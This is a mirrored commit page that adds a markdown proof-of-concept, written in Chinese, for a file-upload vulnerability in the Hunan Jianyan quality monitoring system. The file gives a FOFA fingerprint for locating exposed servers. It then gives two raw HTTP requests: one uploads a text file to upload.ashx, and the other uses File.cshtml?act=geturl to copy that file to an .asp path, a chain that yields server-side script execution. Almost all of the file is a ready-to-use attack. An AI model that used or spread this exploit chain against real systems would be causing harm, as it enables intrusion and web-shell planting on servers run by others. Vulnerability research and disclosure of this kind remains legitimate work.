mirror of
https://github.com/wy876/POC.git
synced 2025-02-27 04:39:25 +00:00
Create 湖南建研质量监测系统upload.ashx文件上传漏洞.md
This commit is contained in:
parent
9590df74f4
commit
fc4e56f323
45
湖南建研质量监测系统upload.ashx文件上传漏洞.md
Normal file
45
湖南建研质量监测系统upload.ashx文件上传漏洞.md
Normal file
@ -0,0 +1,45 @@
|
|||||||
|
## 湖南建研质量监测系统upload.ashx文件上传漏洞
|
||||||
|
|
||||||
|
## fofa
|
||||||
|
```
|
||||||
|
body="/Content/Theme/Standard/webSite/login.css"
|
||||||
|
```
|
||||||
|
|
||||||
|
## poc
|
||||||
|
```
|
||||||
|
POST /Applications/Attachment/upload.ashx HTTP/1.1
|
||||||
|
Host:
|
||||||
|
Content-Type: multipart/form-data; boundary=------------------------OqjxWFlqvSLEefGwXuWeIHbrMYnLtTbqoIUbHXbR
|
||||||
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
|
||||||
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
||||||
|
Accept-Encoding: gzip, deflate
|
||||||
|
Accept-Language: zh-CN,zh;q=0.9
|
||||||
|
Content-Length: 335
|
||||||
|
|
||||||
|
--------------------------OqjxWFlqvSLEefGwXuWeIHbrMYnLtTbqoIUbHXbR
|
||||||
|
Content-Disposition: form-data; name="file";filename="123.txt"
|
||||||
|
|
||||||
|
123
|
||||||
|
--------------------------OqjxWFlqvSLEefGwXuWeIHbrMYnLtTbqoIUbHXbR
|
||||||
|
Content-Disposition: form-data; name="_upload_guid"
|
||||||
|
123
|
||||||
|
--------------------------OqjxWFlqvSLEefGwXuWeIHbrMYnLtTbqoIUbHXbR--
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
### 将文件复制改名
|
||||||
|
|
||||||
|
```
|
||||||
|
POST /Standard/Editor/API/File.cshtml?act=geturl HTTP/1.1
|
||||||
|
Host:
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
|
||||||
|
X-Forwarded-Proto:
|
||||||
|
Accept-Language: zh-CN,zh;q=0.9
|
||||||
|
Content-Length: 63
|
||||||
|
|
||||||
|
filename=/tempData/12345667.asp&filetplpath=/tempData/123.txt
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
Loading…
x
Reference in New Issue
Block a user